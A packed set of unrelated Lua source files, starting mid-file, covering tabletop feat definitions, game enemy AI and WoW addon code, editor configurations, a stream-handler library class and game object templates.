FormatString="When outdoors, as a standard action, you can make a single attack at your full base attack bonus against a foe within reach. If you hit, you deal damage normally and can make an additional attack (using your full base attack bonus) against a foe that is adjacent to the first and also within reach. You can only make one additional attack per round with this feat. When you use this feat, you take a -2 penalty to your Armor Class until your next turn.",
},
},
})
DefineAbility({
Name="Heighten Spell +2",
Category="FEAT",
AddedSpellLevels=2,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("2"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +2",
},
})
DefineAbility({
Name="Heighten Spell +3",
Category="FEAT",
AddedSpellLevels=3,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("3"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +3",
},
})
DefineAbility({
Name="Heighten Spell +4",
Category="FEAT",
AddedSpellLevels=4,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("4"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +4",
},
})
DefineAbility({
Name="Heighten Spell +5",
Category="FEAT",
AddedSpellLevels=5,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("5"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +5",
},
})
DefineAbility({
Name="Heighten Spell +6",
Category="FEAT",
AddedSpellLevels=6,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("6"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +6",
},
})
DefineAbility({
Name="Heighten Spell +7",
Category="FEAT",
AddedSpellLevels=7,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("7"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +7",
},
})
DefineAbility({
Name="Heighten Spell +8",
Category="FEAT",
AddedSpellLevels=8,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("8"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +8",
},
})
DefineAbility({
Name="Heighten Spell +9",
Category="FEAT",
AddedSpellLevels=9,
Visible=true,
Bonuses={
{
Category="DC",
Formula=Formula("9"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Heighten Spell",
"Metamagic",
},
Facts={
AppliedName="Heightened +9",
},
})
ModifyAbility({
Name="Weapon Finesse",
Category="Feat",
Bonuses={
{
Category="VAR",
Formula=Formula("1"),
Type={
Name="Boolean",
},
Variables={
"HasWeaponFinesseFeat",
},
},
},
})
|
local local0 = 0.4
local local1 = 0 - local0
local local2 = 0 - local0
local local3 = 2.2 - local0
local local4 = 0 - local0
local local5 = 20.6 - local0
local local6 = 0 - local0
local local7 = 4 - local0
local local8 = 0 - local0
local local9 = 20.6 - local0
local local10 = 0 - local0
local local11 = 0 - local0
function OnIf_210030(arg0, arg1, arg2)
if arg2 == 0 then
EyeCollector210030_ActAfter_RealTime(arg0, arg1)
end
return
end
function EyeCollector210030Battle_Activate(arg0, arg1)
local local0 = {}
local local1 = {}
local local2 = {}
Common_Clear_Param(local0, local1, local2)
local local3 = arg0:GetRandam_Int(1, 100)
local local4 = 0
local local5 = arg0:GetExcelParam(AI_EXCEL_THINK_PARAM_TYPE__thinkAttr_doAdmirer)
local local6 = arg0:GetEventRequest()
if arg0:IsFinishTimer(0) == true and arg0:GetDistY(TARGET_ENE_0) < 0.1 then
local4 = 1
end
if local6 == 10 then
arg0:AddTopGoal(GOAL_COMMON_ApproachTarget, 30, POINT_INITIAL, 0.5, TARGET_SELF, false, -1)
elseif local6 == 20 then
arg0:AddTopGoal(GOAL_COMMON_ApproachTarget, 30, POINT_INITIAL, 0.5, TARGET_SELF, true, -1)
elseif arg0:IsInsideTarget(TARGET_ENE_0, AI_DIR_TYPE_B, 240) then
local0[20] = 100
elseif 2 <= arg0:GetDist(TARGET_ENE_0) then
local0[1] = 1
local0[2] = 0
local0[3] = 0
local0[4] = 100 * local4
else
local0[1] = 1
local0[2] = 0
local0[3] = 100 * local4
local0[4] = 0
end
local1[1] = REGIST_FUNC(arg0, arg1, EyeCollector210030_Act01)
local1[2] = REGIST_FUNC(arg0, arg1, EyeCollector210030_Act02)
local1[3] = REGIST_FUNC(arg0, arg1, EyeCollector210030_Act03)
local1[4] = REGIST_FUNC(arg0, arg1, EyeCollector210030_Act04)
local1[5] = REGIST_FUNC(arg0, arg1, EyeCollector210030_Act05)
local1[20] = REGIST_FUNC(arg0, arg1, EyeCollector210030_Act20)
Common_Battle_Activate(arg0, arg1, local0, local1, REGIST_FUNC(arg0, arg1, EyeCollector210030_ActAfter_AdjustSpace), local2)
return
end
local0 = 2.4 - local0
function EyeCollector210030_Act01(arg0, arg1, arg2)
local local0 = UPVAL0
local local1 = UPVAL0
if local0 <= arg0:GetDist(TARGET_ENE_0) then
Approach_Act(arg0, arg1, local0, 0, 0, 3)
end
if arg0:GetRandam_Int(1, 100) <= 33 then
arg1:AddSubGoal(GOAL_COMMON_AttackTunableSpin, 10, 3000, TARGET_ENE_0, local1, 0, -1)
else
arg1:AddSubGoal(GOAL_COMMON_ComboAttackTunableSpin, 10, 3000, TARGET_ENE_0, AttDist0, 0, 120)
arg1:AddSubGoal(GOAL_COMMON_ComboFinal, 10, 3001, TARGET_ENE_0, local1, 0)
end
GetWellSpace_Odds = 50
return GetWellSpace_Odds
end
function EyeCollector210030_Act02(arg0, arg1, arg2)
if arg0:IsInsideTarget(TARGET_ENE_0, AI_DIR_TYPE_R, 180) then
arg1:AddSubGoal(GOAL_COMMON_SpinStep, 10, 702, TARGET_ENE_0, 0, AI_DIR_TYPE_B, 0)
elseif arg0:IsInsideTarget(TARGET_ENE_0, AI_DIR_TYPE_L, 180) then
arg1:AddSubGoal(GOAL_COMMON_SpinStep, 10, 703, TARGET_ENE_0, 0, AI_DIR_TYPE_B, 0)
end
GetWellSpace_Odds = 0
return GetWellSpace_Odds
end
local0 = 2.2 - local0
function EyeCollector210030_Act03(arg0, arg1, arg2)
local local0 = arg0:GetRandam_Int(1, 100)
local local1 = UPVAL0
if local1 <= arg0:GetDist(TARGET_ENE_0) then
Approach_Act(arg0, arg1, local1, 0, 0, 3)
end
arg1:AddSubGoal(GOAL_COMMON_ComboAttackTunableSpin, 10, 3005, TARGET_ENE_0, UPVAL0, 0, 0)
arg0:SetTimer(0, 10)
GetWellSpace_Odds = 100
return GetWellSpace_Odds
end
local0 = 4.6 - local0
function EyeCollector210030_Act04(arg0, arg1, arg2)
local local0 = arg0:GetRandam_Int(1, 100)
local local1 = UPVAL0
if local1 <= arg0:GetDist(TARGET_ENE_0) then
Approach_Act(arg0, arg1, local1, 0, 0, 3)
end
arg1:AddSubGoal(GOAL_COMMON_ComboAttackTunableSpin, 10, 3006, TARGET_ENE_0, UPVAL0, 0, 0)
arg0:SetTimer(0, 10)
GetWellSpace_Odds = 100
return GetWellSpace_Odds
end
function EyeCollector210030_Act05(arg0, arg1, arg2)
local local0 = arg0:GetDist(TARGET_ENE_0)
local local1 = arg0:GetRandam_Int(1, 100)
local local2 = arg0:GetRandam_Float(5, 7)
local local3 = 0
local local4 = 0
arg1:AddSubGoal(GOAL_COMMON_SidewayMove, local2, TARGET_ENE_0, 0, arg0:GetRandam_Int(30, 45), true, true, -1)
arg1:AddSubGoal(GOAL_COMMON_SidewayMove, local2, TARGET_ENE_0, 1, arg0:GetRandam_Int(30, 45), true, true, -1)
GetWellSpace_Odds = 0
return GetWellSpace_Odds
end
function EyeCollector210030_Act20(arg0, arg1, arg2)
arg1:AddSubGoal(GOAL_COMMON_Turn, 2.5, TARGET_ENE_0, 30, 0, 0)
GetWellSpace_Odds = 0
return GetWellSpace_Odds
end
function EyeCollector210030_ActAfter_RealTime(arg0, arg1)
local local0 = arg0:GetDist(TARGET_ENE_0)
local local1 = arg0:GetRandam_Int(1, 100)
local local2 = arg0:GetRandam_Int(0, 1)
local local3 = arg0:GetRandam_Float(2, 4)
if local0 <= 3 then
if local1 <= 33 then
arg1:AddSubGoal(GOAL_COMMON_LeaveTarget, local3, TARGET_ENE_0, 3, TARGET_ENE_0, true, -1)
else
arg1:AddSubGoal(GOAL_COMMON_LeaveTarget, local3, TARGET_ENE_0, 3, TARGET_ENE_0, true, -1)
arg1:AddSubGoal(GOAL_COMMON_SidewayMove, local3, TARGET_ENE_0, local2, arg0:GetRandam_Int(30, 45), true, true, -1)
end
elseif local0 <= 6 then
if local1 <= 50 then
arg1:AddSubGoal(GOAL_COMMON_SidewayMove, local3, TARGET_ENE_0, local2, arg0:GetRandam_Int(30, 45), true, true, -1)
else
arg1:AddSubGoal(GOAL_COMMON_LeaveTarget, local3, TARGET_ENE_0, 3, TARGET_ENE_0, true, -1)
end
else
arg1:AddSubGoal(GOAL_COMMON_SidewayMove, local3, TARGET_ENE_0, local2, arg0:GetRandam_Int(30, 45), true, true, -1)
end
return
end
function EyeCollector210030_ActAfter_AdjustSpace(arg0, arg1, arg2)
arg1:AddSubGoal(GOAL_COMMON_If, 10, 0)
return
end
function EyeCollector210030Battle_Update(arg0, arg1)
return GOAL_RESULT_Continue
end
function EyeCollector210030Battle_Terminate(arg0, arg1)
return
end
function EyeCollector210030Battle_Interupt(arg0, arg1)
return false
end
return
|
--------------------------------------------------------------------------------
-- Module Declaration
--
local mod, CL = BigWigs:NewBoss("Kyrak", 1358, 1227)
if not mod then return end
mod:RegisterEnableMob(76021)
mod.engageId = 1758
mod.respawnTime = 25
--------------------------------------------------------------------------------
-- Initialization
--
function mod:GetOptions()
return {
161199, -- Debilitating Fixation
161203, -- Rejuvenating Serum
161288, -- Vileblood Serum
{155037, "TANK"}, -- Eruption
}, {
[161199] = -10260,
[155037] = CL.adds,
}
end
function mod:OnBossEnable()
self:Log("SPELL_CAST_START", "DebilitatingFixation", 161199)
self:Log("SPELL_CAST_START", "RejuvenatingSerumIncoming", 161203)
self:Log("SPELL_CAST_SUCCESS", "RejuvenatingSerum", 161203)
self:Log("SPELL_AURA_APPLIED", "VilebloodSerum", 161288)
self:Log("SPELL_CAST_START", "Eruption", 155037)
end
--------------------------------------------------------------------------------
-- Event Handlers
--
function mod:DebilitatingFixation(args)
self:Message(args.spellId, "yellow", "Alert", CL.casting:format(args.spellName))
self:CDBar(args.spellId, 20) -- 20-23
end
function mod:RejuvenatingSerumIncoming(args)
self:Message(args.spellId, "orange", "Long", CL.incoming:format(args.spellName))
end
function mod:RejuvenatingSerum(args)
self:TargetMessage(args.spellId, args.destName, "orange", "Warning", nil, nil, self:Dispeller("magic", true))
end
function mod:VilebloodSerum(args)
if self:Me(args.destGUID) then
self:Message(args.spellId, "blue", "Alarm", CL.underyou:format(args.spellName))
end
end
function mod:Eruption(args)
local raidIcon = CombatLog_String_GetIcon(args.sourceRaidFlags)
self:Message(args.spellId, "red", "Info", raidIcon.. args.spellName)
end
|
ITEM.name = "AKS-74N"
ITEM.description = "The AK-74 is an assault rifle developed in the early 1970s by Russian designer Mikhail Kalashnikov as the replacement for the earlier AKM. It uses a smaller 5.45×39mm cartridge, replacing the 7.62×39mm chambering of earlier Kalashnikov-pattern weapons. This particular model is made for the Navy and colored appropriately. Features far superior rust and general environmental degradation resistance due to this. Similar in terms of performance and use-based degradation."
ITEM.model = "models/weapons/ethereal/item_ak742.mdl"
ITEM.class = "cw_kk_ins2_ak742"
ITEM.weaponCategory = "primary"
ITEM.width = 3
ITEM.height = 2
ITEM.price = 25000
ITEM.weight = 6 |
Class = require "lib.hump.class"
Entity = require "entity"
Portal = Class{__includes = Entity,
init = function(self, x, y)
Entity.init(self, x, y)
self.type = "portal"
self.l = x-26
self.t = y-26
self.w = 52
self.h = 52
end,
image = love.graphics.newImage("data/img/other/portal.png")
}
function Portal:update()
end
function Portal:draw()
local x,y = self.position:unpack()
love.graphics.setColor(255, 255, 255)
love.graphics.draw(self.image, x-32, y-32)
Entity.draw(self)
end
return Portal |
local configs = require 'lspconfig/configs'
local util = require 'lspconfig/util'
local server_name = 'dotls'
local bin_name = 'dot-language-server'
local root_files = {
'.git',
}
configs[server_name] = {
default_config = {
cmd = { bin_name, '--stdio' },
filetypes = { 'dot' },
root_dir = function(fname)
return util.root_pattern(unpack(root_files))(fname) or util.path.dirname(fname)
end,
},
docs = {
description = [[
https://github.com/nikeee/dot-language-server
`dot-language-server` can be installed via `npm`:
```sh
npm install -g dot-language-server
```
]],
},
}
|
---False in some locale specific files.
---@type boolean
TIME_UTIL_WHITE_SPACE_STRIPPABLE = true
---@type number
SECONDS_PER_MIN = 0
---@type number
SECONDS_PER_HOUR = 0
---@type number
SECONDS_PER_DAY = 0
---@type number
SECONDS_PER_MONTH = 0
---@type number
SECONDS_PER_YEAR = 0
---@param seconds number
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsToMinutes)
function SecondsToMinutes(seconds) end
---@param minutes number
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/MinutesToSeconds)
function MinutesToSeconds(minutes) end
---@param testTime number Time in seconds since the Unix epoch
---@param amountOfTime number Amount of time in seconds
---@return boolean
---[FrameXML](https://www.townlong-yak.com/framexml/go/HasTimePassed)
function HasTimePassed(testTime, amountOfTime) end
---Seconds formatter to standardize representations of seconds
---[FrameXML](https://www.townlong-yak.com/framexml/live/TimeUtil.lua)
SecondsFormatter = {};
---[FrameXML](https://www.townlong-yak.com/framexml/live/TimeUtil.lua)
SecondsFormatter.Abbreviation = {
None = 1,
Truncate = 2,
OneLetter = 3,
}
---[FrameXML](https://www.townlong-yak.com/framexml/live/TimeUtil.lua)
SecondsFormatter.Interval = {
Seconds = 1,
Minutes = 2,
Hours = 3,
Days = 4,
}
---@class IntervalDescription_Subtable:table
---@field seconds number
---@field formatString string[]
local IntervalDescription_Subtable = {}
---@type table<number, IntervalDescription_Subtable>
---[FrameXML](https://www.townlong-yak.com/framexml/live/TimeUtil.lua)
SecondsFormatter.IntervalDescription = {
[1] = {},
[2] = {},
[3] = {},
[4] = {}
}
---@class SecondsFormatterMixin
---@field approximationSeconds number|nil
---@field defaultAbbreviation number|nil
---@field roundUpLastUnit boolean|nil
---@field stripIntervalWhitespace boolean|nil
---@field convertToLower boolean|nil
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin)
SecondsFormatterMixin = {}
---@param approximationSeconds number Threshold for representing the seconds as an approximation (ex. "≤ 2 hours").
---@param defaultAbbreviation number The default abbreviation for the format. Can be overrridden in `SecondsFormatterMixin:Format()`. Use one of `SecondsFormatter.Abbreviation`
---@param roundUpLastUnit boolean Determines if the last unit in the output format string is ceiled (floored by default).
---@param convertToLower boolean Converts the format string to lowercase.
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:Init)
function SecondsFormatterMixin:Init(approximationSeconds, defaultAbbreviation, roundUpLastUnit, convertToLower) end
---@param strip boolean
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:SetStripIntervalWhitespace)
function SecondsFormatterMixin:SetStripIntervalWhitespace(strip) end
---@return boolean
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetStripIntervalWhitespace)
function SecondsFormatterMixin:GetStripIntervalWhitespace() end
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetMaxInterval)
function SecondsFormatterMixin:GetMaxInterval() end
---@param interval number Use one of `SecondsFormatter.Interval`
---@return IntervalDescription_Subtable
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetIntervalDescription)
function SecondsFormatterMixin:GetIntervalDescription(interval) end
---@param interval number Use one of `SecondsFormatter.Interval`
---@return number|nil
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetIntervalSeconds)
function SecondsFormatterMixin:GetIntervalSeconds(interval) end
---@param seconds number
---@return boolean
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:CanApproximate)
function SecondsFormatterMixin:CanApproximate(seconds) end
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetDefaultAbbreviation)
function SecondsFormatterMixin:GetDefaultAbbreviation() end
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetApproximationSeconds)
function SecondsFormatterMixin:GetApproximationSeconds() end
---@return boolean
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:CanRoundUpLastUnit)
function SecondsFormatterMixin:CanRoundUpLastUnit() end
---@param seconds number
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetDesiredUnitCount)
function SecondsFormatterMixin:GetDesiredUnitCount(seconds) end
---@param seconds number
---@return number
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetMinInterval)
function SecondsFormatterMixin:GetMinInterval(seconds) end
---@param interval number Use one of `SecondsFormatter.Interval`
---@param abbreviation number Use one of `SecondsFormatter.Abbreviation`
---@param convertToLower? boolean
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:GetFormatString)
function SecondsFormatterMixin:GetFormatString(interval, abbreviation, convertToLower) end
---@param abbreviation number Use one of `SecondsFormatter.Abbreviation`
---@param toLower? boolean
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:FormatZero)
function SecondsFormatterMixin:FormatZero(abbreviation, toLower) end
---@param millseconds number
---@param abbreviation? number Use one of `SecondsFormatter.Abbreviation`
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:FormatMillseconds)
function SecondsFormatterMixin:FormatMillseconds(millseconds, abbreviation) end
---@param seconds number
---@param abbreviation? number Use one of `SecondsFormatter.Abbreviation`
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsFormatterMixin:Format)
function SecondsFormatterMixin:Format(seconds, abbreviation) end
---@param seconds number
---@param displayZeroHours? boolean
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsToClock)
function SecondsToClock(seconds, displayZeroHours) end
---@param seconds number
---@param noSeconds? boolean
---@param notAbbreviated? boolean
---@param maxCount? number
---@param roundUp? boolean
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsToTime)
function SecondsToTime(seconds, noSeconds, notAbbreviated, maxCount, roundUp) end
---@param mins number
---@param hideDays? boolean Only show days if hideDays is false
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/MinutesToTime)
function MinutesToTime(mins, hideDays) end
---@param seconds number
---@return string format
---@return number time
---[FrameXML](https://www.townlong-yak.com/framexml/go/SecondsToTimeAbbrev)
function SecondsToTimeAbbrev(seconds) end
---@param day number
---@param month number
---@param year number
---@return string
---[FrameXML](https://www.townlong-yak.com/framexml/go/FormatShortDate)
function FormatShortDate(day, month, year) end
|
local treesitter = {}
function treesitter.config()
require("nvim-treesitter.configs").setup({
highlight = {
enable = true,
disable = function(_, _)
return vim.bo.filetype == "yaml.ansible"
end,
},
indent = {
enable = true,
disable = { "yaml" },
},
incremental_selection = {
enable = true,
keymaps = {
init_selection = "<C-S>",
node_incremental = "<C-S>",
scope_incremental = "<M-s>",
node_decremental = "<C-Q>",
},
},
})
end
return treesitter
|
--[[--
Base stream handler class.
A stream handler provides a way to deal with an input stream asynchronously.
Basicaly it consists in a function that will be called when data is available.
If the stream ends then the data function is called with no data allowing to execute specific steps.
If the stream has an issue then the error function is called.
Streams classes are mainly used by @{jls.net.TcpClient|TCP} @{jls.net.UdpSocket|UDP} protocols.
@module jls.io.streams.StreamHandler
@pragma nostrip
@usage
local std = StreamHandler:new(function(self, data)
if data then
io.stdout:write(data)
end
end, function(self, err)
io.stderr:write(err or 'Stream error')
end)
-- or
local std = StreamHandler:new(function(err, data)
if err then
io.stderr:write(tostring(err))
elseif data then
io.stdout:write(data)
end
end)
]]
local class = require('jls.lang.class')
local function onDataCallback(self, data)
return self.cb(nil, data)
end
local function onErrorCallback(self, err)
self.cb(err or 'Unspecified error')
end
--- A StreamHandler class.
-- This class could be inherited to process a data stream.
-- @type StreamHandler
local StreamHandler = class.create(function(streamHandler)
--- Creates a stream handler.
-- The optional functions take two parameters, the stream and the data or the error
-- @tparam[opt] function onDataOrCallback a function to use when receiving data or callback if onError is not specified.
-- @tparam[opt] function onError a function to use in case of error.
-- @function StreamHandler:new
function streamHandler:initialize(onDataOrCallback, onError)
if type(onDataOrCallback) == 'function' then
if type(onError) == 'function' then
self.onData = onDataOrCallback
self.onError = onError
else
self.cb = onDataOrCallback
self.onData = onDataCallback
self.onError = onErrorCallback
end
end
end
--- The specified data is available for this stream.
-- @param data the new data to process, nil to indicate the end of the stream.
-- @treturn boolean false to indicate that this handler has finish to process the stream.
function streamHandler:onData(data)
end
--- The specified error occured on this stream.
-- @param err the error that occured on this stream.
function streamHandler:onError(err)
end
--- Closes this stream handler.
-- Do nothing by default. Must support to be called multiple times.
function streamHandler:close()
end
--- Returns this stream handler as a callback function.
-- The callback function has two arguments: the error and the data.
-- The data could be nil indicating the end of the stream.
-- @treturn function the callback function
function streamHandler:toCallback()
if not self.cb then
self.cb = function(err, data)
if err then
self:onError(err)
else
return self:onData(data)
end
end
end
return self.cb
end
end)
-- This class allows to stream to two streams.
-- @type BiStreamHandler
local BiStreamHandler = class.create(StreamHandler, function(biStreamHandler, super)
-- Creates a @{StreamHandler} with two streams.
-- @function BiStreamHandler:new
function biStreamHandler:initialize(firstStream, secondStream)
super.initialize(self)
self.firstStream = StreamHandler.ensureStreamHandler(firstStream)
self.secondStream = StreamHandler.ensureStreamHandler(secondStream)
end
function biStreamHandler:onData(data)
local r
if self.firstStream:onData(data) == false then
r = false
end
if self.secondStream:onData(data) == false then
r = false
end
return r
end
function biStreamHandler:onError(err)
self.firstStream:onError(err)
self.secondStream:onError(err)
end
function biStreamHandler:close()
self.firstStream:close()
self.secondStream:close()
end
end)
-- This class allows to stream to multiple streams.
-- @type MultipleStreamHandler
local MultipleStreamHandler = class.create(StreamHandler, function(multipleStreamHandler, super)
-- Creates a @{StreamHandler} with multiple streams.
-- @function MultipleStreamHandler:new
function multipleStreamHandler:initialize(...)
super.initialize(self)
self.streams = {...}
end
function multipleStreamHandler:onData(data)
local r
for _, stream in ipairs(self.streams) do
if stream:onData(data) == false then
r = false
end
end
return r
end
function multipleStreamHandler:onError(err)
for _, stream in ipairs(self.streams) do
stream:onError(err)
end
end
function multipleStreamHandler:close()
for _, stream in ipairs(self.streams) do
stream:close()
end
end
end)
--- Returns a callback function.
-- @param cb a callback function or a StreamHandler.
-- @tparam[opt] boolean lazy true to indicate that nil values are valid.
-- @treturn function a callback function.
function StreamHandler.ensureCallback(cb, lazy)
if type(cb) == 'function' then
return cb
elseif StreamHandler:isInstance(cb) then
return cb:toCallback()
elseif not lazy or cb ~= nil then
error('Invalid argument')
end
end
-- This class allows to wrap a callback function into a stream.
local CallbackStreamHandler = class.create(StreamHandler, function(callbackStreamHandler)
-- Creates a @{StreamHandler} based on a callback.
-- @tparam function cb the callback
-- @function CallbackStreamHandler:new
function callbackStreamHandler:initialize(cb)
--super.initialize(self, cb)
self.cb = cb
end
callbackStreamHandler.onData = onDataCallback
callbackStreamHandler.onError = onErrorCallback
function callbackStreamHandler:toCallback()
return self.cb
end
end)
StreamHandler.CallbackStreamHandler = CallbackStreamHandler
--- Returns a StreamHandler.
-- @param sh a callback function or a StreamHandler.
-- @return a StreamHandler.
function StreamHandler.ensureStreamHandler(sh)
if type(sh) == 'function' then
return CallbackStreamHandler:new(sh)
elseif StreamHandler:isInstance(sh) then
return sh
else
error('Invalid argument (type is '..type(sh)..')')
end
end
--- Fills the specified StreamHandler with the specified data.
-- This is shortcut for sh:onData(data); sh:onData(nil)
-- @tparam StreamHandler sh the StreamHandler to fill.
-- @tparam string data the data to process.
function StreamHandler.fill(sh, data)
if data then
sh:onData(data)
end
sh:onData(nil)
end
function StreamHandler.bi(...)
return BiStreamHandler:new(...)
end
function StreamHandler.multiple(...)
local firstStream, secondStream, thirdStream = ...
if thirdStream then
return MultipleStreamHandler:new(...)
elseif secondStream then
return BiStreamHandler:new(firstStream, secondStream)
end
return firstStream
end
--- The standard stream writing data to standard output and error to standard error.
StreamHandler.std = StreamHandler:new(function(err, data)
if err then
io.stderr:write(tostring(err))
elseif data then
io.stdout:write(data)
end
end)
--- A null stream.
StreamHandler.null = StreamHandler:new()
return StreamHandler
|
/run local a,b={4903,4941,4974,6566,6567,6568,6569,6570,6584,6582,6583,6585,6601,6602}for i=1,#a do b=IsQuestFlaggedCompleted(a[i]) print(i.." ("..a[i].."):",b and "\124cFF00FF00" or "\124cFFFF0000Not","Done")end |
object_tangible_holiday_empire_day_shared_painting_empire_day_2010_rebel = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_painting_empire_day_2010_rebel.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_painting_empire_day_2010_rebel, "object/tangible/holiday/empire_day/shared_painting_empire_day_2010_rebel.iff")
object_tangible_holiday_empire_day_shared_imperial_recruitment_poster = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_imperial_recruitment_poster.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_imperial_recruitment_poster, "object/tangible/holiday/empire_day/shared_imperial_recruitment_poster.iff")
object_tangible_holiday_empire_day_shared_imperial_recruitment_poster_defaced = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_imperial_recruitment_poster_defaced.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_imperial_recruitment_poster_defaced, "object/tangible/holiday/empire_day/shared_imperial_recruitment_poster_defaced.iff")
object_tangible_holiday_empire_day_shared_rebel_resistance_poster_torn = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_rebel_resistance_poster_torn.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_rebel_resistance_poster_torn, "object/tangible/holiday/empire_day/shared_rebel_resistance_poster_torn.iff")
object_tangible_holiday_empire_day_shared_painting_empire_day_2011_rebel = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_painting_empire_day_2011_rebel.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_painting_empire_day_2011_rebel, "object/tangible/holiday/empire_day/shared_painting_empire_day_2011_rebel.iff")
object_tangible_holiday_empire_day_shared_painting_empire_day_2011_imperial = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_painting_empire_day_2011_imperial.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_painting_empire_day_2011_imperial, "object/tangible/holiday/empire_day/shared_painting_empire_day_2011_imperial.iff")
object_tangible_holiday_empire_day_shared_wedge_antilles_poster = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_wedge_antilles_poster.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_wedge_antilles_poster, "object/tangible/holiday/empire_day/shared_wedge_antilles_poster.iff")
object_tangible_holiday_empire_day_shared_rebel_resistance_poster = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_rebel_resistance_poster.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_rebel_resistance_poster, "object/tangible/holiday/empire_day/shared_rebel_resistance_poster.iff")
object_tangible_holiday_empire_day_shared_remembrance_day_rebel_banner = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_remembrance_day_rebel_banner.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_remembrance_day_rebel_banner, "object/tangible/holiday/empire_day/shared_remembrance_day_rebel_banner.iff")
object_tangible_holiday_empire_day_shared_painting_empire_day_2010_imperial = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_painting_empire_day_2010_imperial.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_painting_empire_day_2010_imperial, "object/tangible/holiday/empire_day/shared_painting_empire_day_2010_imperial.iff")
object_tangible_holiday_empire_day_shared_return_of_the_jedi_painting = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_return_of_the_jedi_painting.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_return_of_the_jedi_painting, "object/tangible/holiday/empire_day/shared_return_of_the_jedi_painting.iff")
object_tangible_holiday_empire_day_shared_mara_jade_poster = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/holiday/empire_day/shared_mara_jade_poster.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_holiday_empire_day_shared_mara_jade_poster, "object/tangible/holiday/empire_day/shared_mara_jade_poster.iff")
|
BaseProject "App"
files { "**.cpp", "**.h" }
links { "lua51", "RTTI", "Utility" }
includedirs
{
".",
"..",
"../../Externals/LuaJit/LuaJIT/_build/include"
}
libdirs
{
"../../Externals/LuaJit/LuaJIT/_build/lib/lua/5.1"
}
|
--[[
aka - Per directory shell aliases
]]
---------------------------------------------------------------------
local io_write = io.write
local str_fmt = string.format
local str_rep = string.rep
local table_concat = table.concat
